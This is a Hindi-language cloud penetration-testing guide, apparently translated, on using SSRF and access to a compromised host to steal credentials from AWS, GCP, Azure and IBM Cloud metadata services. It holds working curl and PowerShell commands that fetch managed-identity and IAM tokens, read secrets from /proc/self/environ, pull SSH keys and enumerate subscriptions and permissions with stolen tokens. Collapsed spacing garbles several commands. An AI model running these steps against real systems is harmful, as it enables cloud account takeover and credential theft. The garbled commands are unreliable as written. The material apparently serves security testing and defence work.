मेटाडेटा एंडपॉइंट को किसी भी EC2 मशीन के अंदर से एक्सेस किया जा सकता है और यह इसके बारे में दिलचस्प जानकारी प्रदान करता है। यह URL में उपलब्ध है: http://169.254.169.254 (यहां मेटाडेटा के बारे में जानकारी)।
मेटाडेटा एंडपॉइंट के 2 संस्करण हैं। पहला संस्करण GET अनुरोधों के माध्यम से एंडपॉइंट तक पहुँचने की अनुमति देता है (इसलिए कोई भी SSRF इसका लाभ उठा सकता है)। संस्करण 2 के लिए, IMDSv2, आपको एक टोकन के लिए PUT अनुरोध भेजकर पूछना होगा और फिर उस टोकन का उपयोग करके दूसरे HTTP हेडर के साथ मेटाडेटा तक पहुँचने के लिए करना होगा (इसलिए इसे SSRF के साथ दुरुपयोग करना अधिक जटिल है)।
ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, दस्तावेजों के अनुसार, PUT अनुरोध का उत्तर में हॉप सीमा 1 होगी, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा तक पहुँच पाना असंभव हो जाएगा।
इसके अलावा, IMDSv2 भी X-Forwarded-For हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
ध्यान दें कि aws_session_token आवश्यक है ताकि प्रोफ़ाइल काम कर सके।
PACU का उपयोग खोजे गए क्रेडेंशियल्स के साथ आपके विशेषाधिकारों का पता लगाने और विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
ECS, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS आपके लिए इसका प्रबंधन करता है। यदि आप ECS में चल रही सेवा को समझौता करने में सफल होते हैं, तो मेटाडेटा एंडपॉइंट्स बदल जाते हैं।
यदि आप http://169.254.170.2/v2/credentials/<GUID> पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको <GUID> ढूंढना होगा। <GUID> खोजने के लिए आपको मशीन के अंदर environ वेरिएबल AWS_CONTAINER_CREDENTIALS_RELATIVE_URI को पढ़ना होगा।
आप इसे Path Traversal का उपयोग करके file:///proc/self/environ को भेदकर पढ़ने में सक्षम हो सकते हैं।
उल्लेखित http पता आपको AccessKey, SecretKey और token देगा।
ध्यान दें कि कुछ मामलों में आप कंटेनर से EC2 मेटाडेटा इंस्टेंस तक पहुँच सकते हैं (पहले उल्लेखित IMDSv2 TTL सीमाओं की जाँच करें)। इन परिदृश्यों में, आप कंटेनर से कंटेनर IAM भूमिका और EC2 IAM भूमिका दोनों तक पहुँच सकते हैं।
AWS Lambda के लिए SSRF
इस मामले में क्रेडेंशियल्स env वेरिएबल्स में संग्रहीत होते हैं। इसलिए, उन्हें एक्सेस करने के लिए आपको कुछ ऐसा एक्सेस करना होगा जैसे file:///proc/self/environ।
दिलचस्प env वेरिएबल्स के नाम हैं:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
इसके अलावा, IAM क्रेडेंशियल्स के अलावा, Lambda फ़ंक्शंस में इवेंट डेटा भी होता है जो फ़ंक्शन शुरू होने पर फ़ंक्शन को पास किया जाता है। यह डेटा फ़ंक्शन के लिए रनटाइम इंटरफेस के माध्यम से उपलब्ध कराया जाता है और इसमें संवेदनशीलजानकारी हो सकती है (जैसे stageVariables के अंदर)। IAM क्रेडेंशियल्स के विपरीत, यह डेटा मानक SSRF के माध्यम से http://localhost:9001/2018-06-01/runtime/invocation/next पर एक्सेस किया जा सकता है।
ध्यान दें कि lambda क्रेडेंशियल्सenv वेरिएबल्स के अंदर होते हैं। इसलिए यदि स्टैक ट्रेस में lambda कोड env वेरिएबल्स प्रिंट करता है, तो ऐप में एक त्रुटि उत्पन्न करके उन्हें एक्सफिल्ट्रेट करना संभव है।
निकाले गए सेवा खाता टोकन का उपयोग करने के लिए आप बस यह कर सकते हैं:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
एक Azure VM में 1 सिस्टम प्रबंधित पहचान और कई उपयोगकर्ता प्रबंधित पहचानें जुड़ी हो सकती हैं। जिसका मतलब है कि आप VM से जुड़ी सभी प्रबंधित पहचानों का अनुकरण कर सकते हैं।
डिफ़ॉल्ट रूप से, मेटाडेटा एंडपॉइंट सिस्टम असाइन MI (यदि कोई हो) का उपयोग करेगा।
दुर्भाग्यवश, मुझे कोई मेटाडेटा एंडपॉइंट नहीं मिला जो यह दर्शाता हो कि एक VM में सभी MIs जुड़ी हैं।
इसलिए, सभी जुड़ी MIs को खोजने के लिए आप कर सकते हैं:
az cli के साथ जुड़ी पहचानों को प्राप्त करें (यदि आपने पहले से Azure टेनेट में किसी प्रिंसिपल को समझौता किया है)
डिफ़ॉल्ट अटैच्ड MI का उपयोग करके संलग्न पहचान प्राप्त करें:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
सभी परिभाषित प्रबंधित पहचानें प्राप्त करें जो किरायेदार में हैं और ब्रूट फोर्स करें यह देखने के लिए कि क्या इनमें से कोई भी VM से जुड़ी हुई है:
azidentitylist
टोकन अनुरोधों में object_id, client_id या msi_res_id में से किसी भी पैरामीटर का उपयोग करें ताकि उस प्रबंधित पहचान को इंगित किया जा सके जिसे आप उपयोग करना चाहते हैं (docs). यदि कोई नहीं है, तो डिफ़ॉल्ट MI का उपयोग किया जाएगा।
env से आप IDENTITY_HEADERऔरIDENTITY_ENDPOINT के मान प्राप्त कर सकते हैं। जिसका उपयोग आप मेटाडेटा सर्वर के साथ बातचीत करने के लिए एक टोकन प्राप्त करने के लिए कर सकते हैं।
अधिकतर, आप इन संसाधनों में से किसी एक के लिए एक टोकन चाहते हैं:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
ध्यान दें कि IBM में डिफ़ॉल्ट रूप से मेटाडेटा सक्षम नहीं है, इसलिए यह संभव है कि आप इसे एक्सेस नहीं कर पाएंगे, भले ही आप IBM क्लाउड VM के अंदर हों
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे उल्लिखित है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है।